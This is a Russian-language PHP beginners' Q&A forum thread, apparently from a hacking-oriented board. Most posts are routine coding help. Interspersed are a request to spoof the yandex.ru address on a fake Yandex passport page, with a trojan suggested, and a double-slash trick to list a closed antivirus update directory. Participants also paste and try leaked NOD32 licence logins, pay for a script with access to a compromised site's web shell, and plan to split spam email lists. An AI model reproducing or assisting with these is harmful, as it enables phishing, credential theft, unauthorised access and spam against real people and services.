PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

_Great_
26.05.2007, 14:24
В этой специальной теме новички могут задавать простые вопросы по языку PHP.

Darkweider
27.05.2007, 12:10
как извлечь полную информацию о пользователе, чтобы забанить не только по айпи?

blaga
27.05.2007, 12:25
есть сторока в таком виде "3006 + (40416-966) / 30" мне нужно как нибудь вычислить математически... ((((

_Great_
27.05.2007, 12:26
blaga, eval() ?
Darkweider, инфо о браузере ($_REQUEST[HTTP_USER_AGENT]) + чтонить выцепить с помощью JS

blaga
27.05.2007, 12:43
Кому интересно моя проблема решилась так:
<?php

$var1 = '3006';
$var2 = '40416';
$var3 = '966';
$var4 = '30';
$str = '$var1 + ($var2-$var3) / $var4.<br>';

eval ("echo $var1 + ($var2-$var3) / $var4;");


?>
Пример был взят из мануала. _Great_ +4

_Great_
27.05.2007, 12:44
можно проще

$expression = "3006 + (40416-966) / 30";
eval('$result = '.$expression.';');

Дальше с $result делать че угодно

Joker-jar
27.05.2007, 14:30
Также для бана часто пользуются комбинацией "бан по Ip" + "бан по кукисам"

skzi
27.05.2007, 22:34
как выполнить внешнюю программу на perl ?
И можно ли посредствами php получить результат от ЕХЕ файла?

DIAgen
28.05.2007, 00:14
как выполнить внешнюю программу на perl ?
И можно ли посредствами php получить результат от ЕХЕ файла?
Читай http://www.php.net/manual/ru/ref.com.php

spamoney
28.05.2007, 05:01
Есть две проблемки, помогите решить, пожалуйста, а то я в php вообще не разбираюсь:

1. Есть скрипт для вывода случайных картинок из папки, как сделать так, чтобы картинки выводились не только из папки images, но и из подпапок, т.е из images/1/2/3.....
block-Random-image.php
<?php
if (!defined('BLOCK_FILE')) {
Header("Location: ../index.php");
exit;
}


ob_start();
include("modules/Album/album/randomimg.php"); //путь к файлу обработчику
$script = ob_get_contents();
ob_end_clean();
$content .= $script;

?>
randomimg.php
<?php
$dir="/images";/// Укажите папку с фото
$openthisdir=opendir($dir);
while ($k=readdir($openthisdir))
{
$m=substr($k,-4);
if ($m=='.jpg' or $m=='.png' or $m=='.gif') $array[]=$k;
}
closedir($openthisdir);
$number=rand(0,count($array)-1);
echo "<center><img src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$dir/$array[$number]");

echo "Файл: $array[$number]<BR>";///Вывод названия

echo "Размер: $size б.<BR>";///Вывод Размера

?>

2. Есть ли такой скрипт, который бы искал в папке images и подпапках, файлы, имена которых содержат пробелы и заменял бы эти пробелы каким-нибудь символом или удалял бы их ?
т.е pict 1.jpg на pict_1.jpg или pict1.jpg
Если у кого-нибудь есть выложите пожалуйста.....

Dr.Frank
28.05.2007, 06:25
2. Есть ли такой скрипт, который бы искал в папке images и подпапках, файлы, имена которых содержат пробелы и заменял бы эти пробелы каким-нибудь символом или удалял бы их ?
т.е pict 1.jpg на pict_1.jpg или pict1.jpg
Если у кого-нибудь есть выложите пожалуйста.....


<?php
if(!$type)
$type=".jpg";
function cd_dir($dir,$type){
$r=opendir($dir);
while($p = readdir($r)){
if(is_dir("$dir\\$p") && $p!="." && $p!="..")
cd_dir("$dir\\$p",$type);
elseif($type && strtolower(substr($p,-4))==$type && strstr($p," ")){
rename("$dir\\$p",$dir."\\".str_replace(" ","_",$p));
}
}
}
cd_dir($dir,$type);
?>


Скрипт корявенький(переделал свой, для схожих потребностей), но работает..(по крайней мере на Винде)

Заменяет пробелы на символ "_"

в аргументах скрипта указываешь dir=нужная_папка&type=Нужный_тип_с_точкой_впер ди

например: xxx.php?dir=1&type=.txt

Если не будет работать - спрашивай...

Кстати, первый вопрос можешь по аналогии сам сделать

nc.STRIEM
28.05.2007, 11:27
<?php
if(!$type)
$type=".jpg";
function cd_dir($dir,$type){
$r=opendir($dir);
while($p = readdir($r)){
if(is_dir("$dir\\$p") && $p!="." && $p!="..")
cd_dir("$dir\\$p",$type);
elseif($type && strtolower(substr($p,-4))==$type && strstr($p," ")){
rename("$dir\\$p",$dir."\\".str_replace(" ","_",$p));
}
}
}
cd_dir($dir,$type);
?>


Скрипт корявенький(переделал свой, для схожих потребностей), но работает..(по крайней мере на Винде)

Заменяет пробелы на символ "_"

в аргументах скрипта указываешь dir=нужная_папка&type=Нужный_тип_с_точкой_впер ди

например: xxx.php?dir=1&type=.txt

Если не будет работать - спрашивай...

Кстати, первый вопрос можешь по аналогии сам сделать

создай папку или файл с именем 0 или false посмотрим как будет работать.

внимательно читаем мануал http://php.ru/manual/function.readdir.html
и видем:

/* Именно этот способ чтения элементов каталога является правильным. */
while (false !== ($file = readdir($handle))) {
echo "$file\n";
}

/* Этот способ НЕВЕРЕН. */
while ($file = readdir($handle)) {
echo "$file\n";
}

hhover
28.05.2007, 12:57
Можно ли сделать так, чтобы при обращении к любому файлу (например, картинке) в определенной папке на сервере выполнялся php скрипт перед показом ?

blaga
28.05.2007, 15:25
Можно ли сделать так, чтобы при обращении к любому файлу (например, картинке) в определенной папке на сервере выполнялся php скрипт перед показом ?
вроде нет. легче обращайся к скрипту а он перекинет на картинку.

Dr.Frank
28.05.2007, 15:25
Можно ли сделать так, чтобы при обращении к любому файлу (например, картинке) в определенной папке на сервере выполнялся php скрипт перед показом ?

Можно, делаешь скрипт, который надо запускать(только чтоб не выводил никаких данных и заголовки не посылал), в конце дописываешь строку:

header("Content-type:image/gif");
readfile("Имя_картинки_которую_надо_о ткрыть.gif");

/*
(ну или не гиф, а другие типы картинок, тогда
поменяй Content-type:ТИП_КАРТИНКИ)
*/

сохраняешь PHP-скрипт с расширением картинки, например 1.gif

В папке со скрптом создаешь файл .htaccess с такими строками(или, если есть, то дописываешь его):

<Files Имя_скрипта>
ForceType application/x-httpd-php
</Files>

/*
в данном случае

<Files 1.gif>
ForceType application/x-httpd-php
</Files>

*/

и ссылку кидаешь на этот скрипт, а не на картинку

ultimatum
28.05.2007, 16:50
Весь день пролазил в сети в поисах данного вопроса но так и не нашел ответа.

Есть задача.Смысл которой подменить урл в браузере клиента.То есть если клиет идет по ссылке скажем www.sait.com у клиента отображалось yandex.ru.Точнее говоря подмена доменного имени с помощью php.
Имею хост бесплатный на котором пшп+цги. Соответственно доступа к .htaccess не имею и к апачу тоже.Можно ли как нить осуществить мою идею с помощью php или js.Или может есть какой нибудь другой способ о котором я недогадываюсь
----------------------------------------------- c низу перенесено ----------------
Хотя знаю точно, что если на домашнем компе развернуть подобное , то данную идею можно осуществить сконфигурировав апач или .htaccess
redirect - это переарисация. можно даже задать определённое время.Но задача стоит другая.Создать илюзию того что чел пришел на yandex.ru , а на самом деле он находиться на http://mysait.com/ . хост на агаве.Но если будет предложен код на php который будет работать на любом другом бесплатном домене.То будет респект


ссылка : yandex.ru (http://ultimatum.h18.ru/mail/yandex/passport.htm) надо чтобы урл был такой же yandex.ru Код дайте пожалуста с разьяснениями!

blaga
28.05.2007, 17:38
2Dr.Frank, так будет не очень удобно если там нужно много файлов так сделать. В эштеаксесе тогда лучше прописать что бы все файлы в этой папке обрабатывались как пхп.

blaga
28.05.2007, 17:39
2ultimatum, приписать в файл хостс в винде ип к домменому имени yandex.ru тока это к пхп уже мало чем относиться.

Piflit
28.05.2007, 17:43
2ultimatum, приписать в файл хостс в винде ип к домменому имени yandex.ru тока это к пхп уже мало чем относиться.

а разве такое нельзя на пхп сделать? прав не хватит? или вообще нет доступа к файлам пользователя? если нет, тогда только трой

Dr.Frank
28.05.2007, 18:08
2Dr.Frank, так будет не очень удобно если там нужно много файлов так сделать. В эштеаксесе тогда лучше прописать что бы все файлы в этой папке обрабатывались как пхп.


Гм... можно один скрипт сделать с именем, например "files" и передавать ему данные, например xxx.ru/files/1.gif - все работает, проверенно - и один скрипт и все картинки(файлы) передаются с обработкой, т.е. сначала запускается скрипт

skzi
28.05.2007, 18:27
Можно ли написать скрипт на php или perl, который автоматом будет заходить на сайт eset для скачки обновлений для антивируса и будет их копировать на другой ftp (где мне бесплатно)
Скриптик бы повесил на кротаб и было все круто)
заранее спасибо.

Isis
28.05.2007, 19:26
Теперь я задам вопрос :
Можно ли опред.слово удалить из файла?
Допустим файл содержит такие слова

12345
Hexinbla
Fucken
sux
Little
Можно как-нибудь удалить из файла слово "Fucken" ?

Dr.Frank
28.05.2007, 19:52
Теперь я задам вопрос :
Можно ли опред.слово удалить из файла?
Допустим файл содержит такие слова

12345
Hexinbla
Fucken
sux
Little
Можно как-нибудь удалить из файла слово "Fucken" ?


Гм.... вроде Гуру... =)

Самый примитивный, на мой взгляд, метод:

$t=file("1.txt");
$t=implode("\r\n",$t);
$t=str_replace("\r\nFucken","",$t);
$f=fopen("1.txt","w");
fwrite($f,$t);
fclose($f);


Удаляет все слова "Fucken" из файла

Dr.Frank
28.05.2007, 19:54
Можно ли написать скрипт на php или perl, который автоматом будет заходить на сайт eset для скачки обновлений для антивируса и будет их копировать на другой ftp (где мне бесплатно)
Скриптик бы повесил на кротаб и было все круто)
заранее спасибо.

Можно, точный адрес сайта скажи

Isis
28.05.2007, 20:13
Dr.Frank, хы =)
Не подумал

nc.STRIEM
28.05.2007, 20:16
Весь день пролазил в сети в поисах данного вопроса но так и не нашел ответа.

Есть задача.Смысл которой подменить урл в браузере клиента.То есть если клиет идет по ссылке скажем www.sait.com у клиента отображалось yandex.ru.Точнее говоря подмена доменного имени с помощью php.
Имею хост бесплатный на котором пшп+цги. Соответственно доступа к .htaccess не имею и к апачу тоже.Можно ли как нить осуществить мою идею с помощью php или js.Или может есть какой нибудь другой способ о котором я недогадываюсь
----------------------------------------------- c низу перенесено ----------------
Хотя знаю точно, что если на домашнем компе развернуть подобное , то данную идею можно осуществить сконфигурировав апач или .htaccess
redirect - это переарисация. можно даже задать определённое время.Но задача стоит другая.Создать илюзию того что чел пришел на yandex.ru , а на самом деле он находиться на http://mysait.com/ . хост на агаве.Но если будет предложен код на php который будет работать на любом другом бесплатном домене.То будет респект


ссылка : yandex.ru (http://ultimatum.h18.ru/mail/yandex/passport.htm) надо чтобы урл был такой же yandex.ru Код дайте пожалуста с разьяснениями!
нет. а .htaccess и php тут не причем

skzi
28.05.2007, 21:42
Dr.Frank
u20.eset.com
u21.eset.com
u38.eset.com
u39.eset.com
4 зеркала

а загружать файлы нужно вот сюда:
ftp://more.tnpko.ru/incoming/users/
и вот сюда
ftp://content.telecet.ru/incoming/users

Точные имена файлов к сожалению незнаю, т.к. они всегда меняются, но у всех файлов обновления стоит расширение .nup




p.s. iNVLose, я заранее поблагодарил тех, кто поможет мне.



а еще заливать можно сюда ftp://ftp2.telecet.ru/Incoming/users/
и сюда
ftp://ftp.hitv.ru/incoming/users/
Просто на некоторых ограничения по ip стоят...

Dr.Frank
29.05.2007, 05:01
Dr.Frank
u20.eset.com
u21.eset.com
u38.eset.com
u39.eset.com


Гм... я с NOD'ом ни разу не работал, можешь объяснить что должно быть на этих сайтах примерно?(меня он кидает на главную страницу)

Или есть какая-нибудь страница, где показываются все обновления?

skzi
29.05.2007, 17:28
через программу NOD32 UpdateViewer узнал что обновления лежат тут:
http://www.nod32.com/nod_upd/
http://u20.eset.com/nod_upd/
http://89.202.157.135/nod_upd/
http://u30.eset.com/nod_upd/
http://u39.eset.com/nod_upd/
но доступ к папочке закрыт... видимо толлко из программы можно скачать обновления.

Dr.Frank
29.05.2007, 17:51
http://www.nod32.com/nod_upd/
но доступ к папочке закрыт... видимо толлко из программы можно скачать обновления.

Это не проблема(в этом случае):
вместо http://www.nod32.com/nod_upd/
вводишь http://www.nod32.com//nod_upd/

т.е. после домена вводишь два символа "/" - показывается все, что в директории находится и скачать все можно(это в некотором случае считается дыркой, а некоторые спецом так делают)

Тока я не понял, че так мало обновления то вешают, всего ~3кб - это так и должно быть?

skzi
29.05.2007, 20:59
Конечно нет. Обычно от 6 - 10 мб

может быть потом изменится размер?

И всетаки. Ты мне поможешь?)

scrat
29.05.2007, 23:13
как перевести массив символов в строку?

Helios
30.05.2007, 01:52
join -- Join array elements with a string

Description
string join ( string glue, array pieces)


glue задай пустым $str = join( '', $arr );

skzi
30.05.2007, 01:59
Dr.Frank так ты мне поможешь?

Dr.Frank
30.05.2007, 05:33
Конечно нет. Обычно от 6 - 10 мб
может быть потом изменится размер?
И всетаки. Ты мне поможешь?)

Там все файлы с расширением *.ver - RAR-архивы, в которых лежит описание, где скачивать остальные файлы... А на этих адресах стоит авторизация, так что здесь я тебе ничем не помогу, т.к. не знаю логина и пароля..

skzi
30.05.2007, 13:41
Вот. Кое что нашел в инете:
AV-4536652 =>> 8juawu7rf9
AV-4557777 =>> bxgcoj57gk
AV-4557752 =>> 2c9x57b4mm
AV-4557708 =>> hjaiu19cv1

Поброуй эти пожалуйста.

spamoney
30.05.2007, 14:35
Есть две проблемки, помогите решить, пожалуйста, а то я в php вообще не разбираюсь:

1. Есть скрипт для вывода случайных картинок из папки, как сделать так, чтобы картинки выводились не только из папки images, но и из подпапок, т.е из images/1/2/3.....
block-Random-image.php
<?php
if (!defined('BLOCK_FILE')) {
Header("Location: ../index.php");
exit;
}


ob_start();
include("modules/Album/album/randomimg.php"); //путь к файлу обработчику
$script = ob_get_contents();
ob_end_clean();
$content .= $script;

?>
randomimg.php
<?php
$dir="/images";/// Укажите папку с фото
$openthisdir=opendir($dir);
while ($k=readdir($openthisdir))
{
$m=substr($k,-4);
if ($m=='.jpg' or $m=='.png' or $m=='.gif') $array[]=$k;
}
closedir($openthisdir);
$number=rand(0,count($array)-1);
echo "<center><img src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$dir/$array[$number]");

echo "Файл: $array[$number]<BR>";///Вывод названия

echo "Размер: $size б.<BR>";///Вывод Размера

?>



Переделал этот скрипт:
<?php
$dir="modules/Album/album/";
function cd_dir($dir){
$r=opendir($dir);
while (false !== ($k = readdir($r))){
if(is_dir("$dir\\\\\\\\$k") && $k!="." && $k!="..")
cd_dir("$dir\\\\\\\\$k");
elseif ($m=substr($k,-4) and $m=='.jpg' or $m=='.png' or $m=='.gif')
{ $array[]=$k;
$number=rand(0,count($array)-1);
echo "<center><img width=100 height=100 src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$dir/$array[$number]");
echo "Файл: $array[$number]<BR>";///Вывод названия
echo "Размер: $size б.<BR>";///Вывод Размера
}
}
}
cd_dir($dir);

?>
Но теперь вместо одной случайной картинки выводятся все картинки, которые находятся в папке и подпапках: "modules/Album/album/" Как сделать что бы выводилась одна, случайная?

Dr.Frank
30.05.2007, 16:03
перекинь это:

$number=rand(0,count($array)-1);
echo "<center><img width=100 height=100 src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$dir/$array[$number]");
echo "Файл: $array[$number]<BR>";///Вывод названия
echo "Размер: $size б.<BR>";///Вывод Размера

после вызова функции cd_dir($dir);, т.е. перед ?>

Сдесь же замени
echo "<center><img width=100 height=100 src='$dir/$array[$number]' alt='Случайная картинка'></center><br>";
на

echo "<center><img width=100 height=100 src='$array[$number]' alt='Случайная картинка'></center><br>";

и

$size=filesize("$dir/$array[$number]");

на
$size=filesize("$array[$number]");

После elseif замени
$array[]=$k;

на

$array[]=$dir."/".$k;

Dr.Frank
30.05.2007, 16:10
Вот. Кое что нашел в инете:
AV-4536652 =>> 8juawu7rf9
AV-4557777 =>> bxgcoj57gk
AV-4557752 =>> 2c9x57b4mm
AV-4557708 =>> hjaiu19cv1

Поброуй эти пожалуйста.

не работает ;(

spamoney
30.05.2007, 16:58
<?php
$dir="modules/Album/album/";
function cd_dir($dir){
$r=opendir($dir);
while (false !== ($k = readdir($r))){
if(is_dir("$dir\\\\\\\\$k") && $k!="." && $k!="..")
cd_dir("$dir\\\\\\\\$k");
elseif ($m=substr($k,-4) and $m=='.jpg' or $m=='.png' or $m=='.gif')
{ $array[]=$dir."/".$k;
}
}
}
cd_dir($dir);
$number=rand(0,count($array)-1);
echo "<center><img width=100 height=100 src='$array[$number]' alt='Случайная картинка'></center><br>";
$size=filesize("$array[$number]");
echo "Файл: $array[$number]<BR>";///Вывод названия
echo "Размер: $size б.<BR>";///Вывод Размера
?>
Вродь сделал как ты сказал, но чего то не работает:
Notice: Undefined variable: array in z:\home\suit.by\www\222.php on line 14
Notice: Undefined variable: array in z:\home\suit.by\www\222.php on line 15



Notice: Undefined variable: array in z:\home\suit.by\www\222.php on line 16

Notice: Undefined variable: array in z:\home\suit.by\www\222.php on line 17
Файл:
Размер: б.

Dr.Frank
30.05.2007, 18:32
Да, совсем забыл, добавь после строчки
function cd_dir($dir){
строку
global $array;

skzi
30.05.2007, 22:42
у кого то в подписи из пользователей античата всегда есть эти коды. наверняка они рабочие. Если увидишь, попробуй их пожалуйста

p.s. если этот пост читает ктонибудь кто знает эти данные, просьба отписать их тут!




и еще... это конечно не в тему, но всетаки. Какой программой можно переделать песню стерео в звук 5.1 ???
очень нужно!

Gho_st
01.06.2007, 19:12
объясните как мне вывести картинку с русским текстом средствами PHP.
Проблема в том что при использование функций ImageString() возникают проблемы с кодировкой (пробовал перекодировать текст в разные кодировки=(( нифига),
выводить текст с использованием TTF шрифтов немогу(по ходу проблема уже у хостинг провайдера, что-то там требуется активировать что у него не активировано)
вобщем выводятся ошибка =(((

Isis
01.06.2007, 19:32
Заголовок страницы сделай с кодировкой windows-1251

Joker-jar
01.06.2007, 19:42
Попробуй перед впихиванием строки в ImageString прогнать ее через это:

function win2uni($s)
{
return preg_replace('#[\xC0-\xFF]#se','"&#".(ord("$0")+1040-0xC0).";"',$s);
}

Gho_st
01.06.2007, 23:03
2 Isis
немогу ибо в загаловке страници прописано
Content-type: image/png
дабы выводит оно кратинку
или я туплю?!

2 Joker-jar
=(( непопер этот вариант теперь на генерируемый средствами библиотеки GD картинки
за место русского языка красуются с е

Fr-Ron
02.06.2007, 19:16
Есть код...

<?php
$q = "Бла бла бла";
echo ("<input type = text value = $q>");
?>

В таком случае в поле input будет только "Бла".
Обошел так :

<?php
$q = "Бла бла бла";
?><input type = text value = "<? echo ($qst); ?>"><?
?>

Можно ли это обойти инным, менее геморным методом?

*Кол-во полей input зараннее не известно.

Joker-jar
02.06.2007, 19:39
<?php
$q = "Бла бла бла";
echo ("<input type = text value = \"$q\">");
?>

Cond
02.06.2007, 19:41
Есть 4 текстовых файла: a.txt b.txt c.txt d.txt
В каждом из них допустим по 1 переменной: $a=1; (в файле a.txt) $b=2; (в файле b.txt) $c=3; (в файле c.txt) $d=4; (в файле d.txt)
Можно ли с помощью php сделать так, чтобы эти переменные брались из разных файлов, сравнивались, создавался файл result.txt и там было большее число (например $d=4;)?

Joker-jar
02.06.2007, 20:07
Конечно можно, вопрос стоит лишь в реализации. Если имена переменных заведомо известны, то, как вариант, можно прочитать все файлы, сожержимое обрамить в eval() и по циклу определить наибольшее. В противном случае парсить, скорей всего. Хотя кто-то может посоветовать и более элегантное решение

skzi
03.06.2007, 01:11
Найти наибольшее значение можно следующим способом:
переменной max присваиваешь первой элемент массива, потом в цикле проверяешь, если arr[i]>max тогда max=arr[i] и усе.

The_HuliGun
03.06.2007, 10:34
<?
touch('result.txt'); //создал файл
$res = fopen ('result.txt',"r+"); //отркыл на запись
$a_ = fopen ('a.txt',"r"); //
$b_ = fopen ('b.txt',"r"); // открыл файлы на чтение
$c_ = fopen ('c.txt',"r"); //
$d_ = fopen ('d.txt',"r"); //

$a = fread ($a_,10);
$b = fread ($b_,10); // считал значение переменных
$c = fread ($c_,10);
$d = fread ($d_,10);

$max=0;

if (($a>=$b)&&($a>=$c)&&($a>=$d)) $max=$a;
if (($b>=$a)&&($b>=$c)&&($b>=$d)) $max=$b; //определил максимальную
if (($c>=$a)&&($c>=$b)&&($c>=$d)) $max=$c;
if (($d>=$a)&&($d>=$b)&&($d>=$c)) $max=$d;

fputs ($res,"$max"); // записал у файл

fclose($res);
fclose($a_);
fclose($b_); // и не забыл позакрывать файлы
fclose($c_);
fclose($d_);
?>

ultimatum
03.06.2007, 13:17
$a_ = fopen ('a.txt',"r");

fputs ($res,"$max");
fclose($a_);

А есть же какой то косяк со стороны php , что по середине может вклиниться ещё какой нить процесс?или я не прав

Sn@k3
03.06.2007, 13:27
попробуй =) а нах тебе, чем те линенйно не нравится

Cond
03.06.2007, 16:10
Спасибо всем! :) Особенно The_HuliGun выручил спс.
И ещё вот
есть html страничка в интернете там таблица и её надо в многомерный массив перегнать.
Как сделать? Может есть у кого пример кода? :)

Gho_st
04.06.2007, 20:51
$a_ = fopen ('a.txt',"r");

fputs ($res,"$max");
fclose($a_);

А есть же какой то косяк со стороны php , что по середине может вклиниться ещё какой нить процесс?или я не прав

если с файлом a.txt производят манипуляции то вполне вероятно при одновременном их обращении к a.txt
может возникнуть проблемма
во избежание подобного обычно на время работы твоего скрипта с файлом a.txt используются функции блокировки

на сколько я понял ты про это

Kridan
04.06.2007, 21:28
$a_=fopen("a.txt","a+");
flock ($fp,LOCK_EX);
fputs ($res,"$max");
fclose($a_);

Разлочивать не надо перед закрытием - fclose сам разлочит.

DIAgen
06.06.2007, 09:57
Просто не охота создавать новую тему, по этому запостю сдесь!
Трабла в том как можно разбить сторку вида:
ЬЭЮЯабвгдежзийклмнопрстуф хцчшщъыьэюя\x01\x02\x03\x04\x05\x06\x07 \x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x 14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&\'()*+,-./0123456789:;
Разобрать данную строку по символьно можно сделать без проблем, а нужно разбить эту сроку так что бы учитывались \x01, \x02 и так далее, т.е шли как один символ.
Если использовать регулярки сильно сложные получаться и время затраченное на разбор тоже будет большой.
Если будут какие-нибудь мысли по данной теме жду предложений...

Isis
07.06.2007, 00:55
<?php
$arr = '\x01\x02\x03\x04\x05\x06\x07\x08\x09
\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12
\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f';
$x = explode("\\", $arr);
foreach($x as $b)
echo "\\".$b."<br/>";
?>
Вывод:
\x01
\x02
\x03
\x04
\x05
\x06
\x07
\x08
\x09
\x0a
\x0b
\x0c
\x0d
\x0e
\x0f
\x10
\x11
\x12
\x13
\x14
\x15
\x16
\x17
\x18
\x19
\x1a
\x1b
\x1c
\x1d
\x1e
\x1f

The_HuliGun
07.06.2007, 08:32
<?php
$str="фвафіаafdjasdjfowej\x1e\x10s\\\asdf%&**()";
echo"$str<br>";
for($i=0;$i<=strlen($str);)
{
echo"$str[$i]<br>";
$i++;
}
?>


В результате будет:


фвафіаafdjasdjfowejs\\asdf%&**()
ф
в
а
ф
і
а
a
f
d
j
a
s
d
j
f
o
w
e
j


s
\
\
a
s
d
f
%
&
*
*
(
)


Как видишь сочетание символов \x1e и \x10 воспринимается как один символ.

Dr.Frank
07.06.2007, 14:36
Как видишь сочетание символов \x1e и \x10 воспринимается как один символ.

Если строка в двойных ковычках, то в твоем случае даже не надо смотреть сочетание сивмолов \x, PHP сразу понимает, что эт один символ..
<?php
$str='фвафіаafdjasdjfowej\x1e\x10s\\\asdf%&**()';
echo"$str<br>";
for($i=0;$i<=strlen($str);)
{
if($str[$i+1]=="x" && $str[$i]=="\\"){
echo substr($str,$i,4)."<br>";
$i+=4;
}else{
echo"$str[$i]<br>";
$i++;
}
}
?>

Cond
08.06.2007, 02:05
У меня проблема в регулярных выражениях не могу сообразить как сделать чтобы все ячейки написанные ниже были помещены в массив :(
В HTML таблице есть ячейки вида:
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a><font color=black>news</font></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a><font color=black>news</font></center></td>
Там везде не просто везде News написано, а разная информация, естественно с буквами, цифрами, слэшами, пробелами, ентерами т.е выход делать регулярное выражение с тегами, а как именно сделать это регулярное выражение проблема :(, пробовал просто без помощи тегов делать не выходит.
Нужно чтобы только такого вида ячейки были помещены в массив.
Делаю так:
$exp = '/<td><center>(.*?)<br><a href=(.*?)>(.*?)<\/a><font color=(.*?)>(.*?)<\/font><\/center><\/td>/';
preg_match_all($exp, $str, $preg);
Пробовал и по другому составлять $exp но так и не додумался :((
В массив $preg заносятся только первая и последняя ячейки :(
А нужно чтобы каждая ячейка так как она распаложена шла и в массив ...
Т.е вариант типо сначало сделать $exp занести в массив потом сделать
$exp_2 = '/<td><center>(.*?)<br><a href=(.*?)>(.*?)<\/a><\/center><\/td>/';
Занести в массив отпадает надо чтобы поочереди всё было :(
Помогите разобраться плз как сделать :)
Вроде как и пустиковое то дело, а мне совсем непонятно :(.

grinay
08.06.2007, 02:28
Стукни в асю 939455 помогу с регулркой.Просто не совсем вопрос понятен.

Isis
08.06.2007, 02:52
Эм еси у тебя только первая и последняя, то прочитай внимательно про preg_match_all (http://php.net/preg_match_all) и его 4 парметром !

Cond
08.06.2007, 03:21
<?php
$data="<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a><font color=black>news</font></center></td>
<td><center>news<br><a href='http://news.com/news/11/' class='news_11'><b>News</b></a></center></td>";

$exp = '/<td><center>(.*?)<br><a href=(.*?)>(.*?)<\/a>(.*?)<\/center><\/td>/';
preg_match_all($exp,$data,$math);
print_r($math[0]);
?>
Вот как всё решилось благодаря grinay! СПАСИБО ОГРОМНОЕ! Написал код за секунды :)
А я мучился целый день как же не догодался сюда написать :) даже спать не хотел пока не узнаю как всё делается :)
Теперь хоть и спать спокойно можно :).

hhover
08.06.2007, 04:43
Уже написал код, не заметил, что вопрос решен, но все же, в этой регулярке дополнительно парсить данные не нужно.
$exp = "/\<td\>\<center\>(.+?)\<br\>\<a\shref\=\'([^\']+?)\'[^\>]+?\>\<b\>(.+?)\<\/b\>\<\/a\>(\<font[^\>]*?\>(.+?)\<\/font\>)?\<\/center\>\<\/td\>/is

_Great_
08.06.2007, 16:24
Напомню, что в теме обсуждаются только вопросы, непосредственно связанные с ЯЗЫКОМ.
Оффтоп буду тереть и жестоко наказывать.

Cond
09.06.2007, 01:08
hhover спасибо по прошлой проблемке, но сделал уже как grinay подсказал, всё работает, а раз работает пусть работает как есть :) Но всё равно спасибо!
Вот образовалась проблема не могу понять как решить :(
Есть вот такая HTML форма:
http://img55.imageshack.us/img55/4836/scrinma3.jpg
Туда вводятся числа в верхнюю строчку от 1 до 19 ,
во 2-ую (нижнюю) строчку от 1 до 20.
Нужно чтобы допустим ввожу я в первую строчку 2 во вторую 5 мне должно вывести куда-нибудь, например в файл result.txt вот такое вот:

12
13
14
15
23
24
25
34
35
45
Тоесть первая цифра 2 обозначает сколько всего должно быть цифр в каждой по две ...
Вторая цифра 5 обозначает что из неё будут браться цифры вида 1 2 3 4 5 и делаться двухзначная цифра ...
Надо чтобы цифры не повторялись например в цифрах выше нет цифр 11 22 33 44 55 Ещё если есть цифры 12, то 21 уже не надо. Если есть 23, то 32 не надо.
Если было бы в HTML форме первая цифра 3 вторая 5, тогда не должно было бы быть цифр 111 222 333 444 555 1x1 2x2 3x3 4x4 5x5 x11 x22 x33 x44 x55 11x 22x 33x 44x 55x (где x - любая цифра)
Вот что должно выводиться: 123 124 125 134 234 245 134 135 345 345
Ещё если уже есть 123, то цифры 321 231 213 132 уже не должны быть.
Как такое можно сделать? Помогите плз.
Кто поможет готовым скриптом, тому с меня сайт с веб шеллом с правами записи в разные папки.

Dr.Frank
09.06.2007, 06:45
Тоесть первая цифра 2 обозначает сколько всего должно быть цифр в каждой по две ...
Вторая цифра 5 обозначает что из неё будут браться цифры вида 1 2 3 4 5 и делаться двухзначная цифра ...
Надо чтобы цифры не повторялись например в цифрах выше нет цифр 11 22 33 44 55 Ещё если есть цифры 12, то 21 уже не надо. Если есть 23, то 32 не надо.
Если было бы в HTML форме первая цифра 3 вторая 5, тогда не должно было бы быть цифр 111 222 333 444 555 1x1 2x2 3x3 4x4 5x5 x11 x22 x33 x44 x55 11x 22x 33x 44x 55x (где x - любая цифра)
Вот что должно выводиться: 123 124 125 134 234 245 134 135 345 345
Ещё если уже есть 123, то цифры 321 231 213 132 уже не должны быть.
Как такое можно сделать? Помогите плз.
Кто поможет готовым скриптом, тому с меня сайт с веб шеллом с правами записи в разные папки.

вот попробуй(параметры передаются через $f1 и $f2):


<?php
$file=fopen("result.txt","w");
function a($t,$z,$s){
global $f2,$f1,$file;
for($q=($t+1);$q<=$f2;$q++){
if($z<$f1)
a($q,($z+1),$s.$q);
else
fwrite($file,$s.$q."\r\n");
}
}
a(0,1,"");
fclose($file);
?>


Только я не догнал, почему у тебя второе число аж до 20? эт как? Цифр то всего 9(ну 10 с нулем, но он, как я понял, тебе не нужен).

Cond
09.06.2007, 12:37
Только я не догнал, почему у тебя второе число аж до 20? эт как? Цифр то всего 9(ну 10 с нулем, но он, как я понял, тебе не нужен).
Допустим если $f1=2, а $f2=20,
тогда уже будут задействованы числа и 11 и 12 и так до 20, а в целом да они и состоят все из цифр 0-9 :)
Шелл в личке.
Скрипт работает, огромное СПАСИБО! :)

$Lemur$
11.06.2007, 13:38
хочу написать скрипт для вытаскивания из больших спам листов определенного количества мыл по деапозону, тоесть от 0 до 50000, 50000 до 100000

нашел вот такой пример:

<?
$file = fopen("c:/www/html/file.txt","r");
if(!file)
{
echo("Ошибка открытия файла");
}
else
{
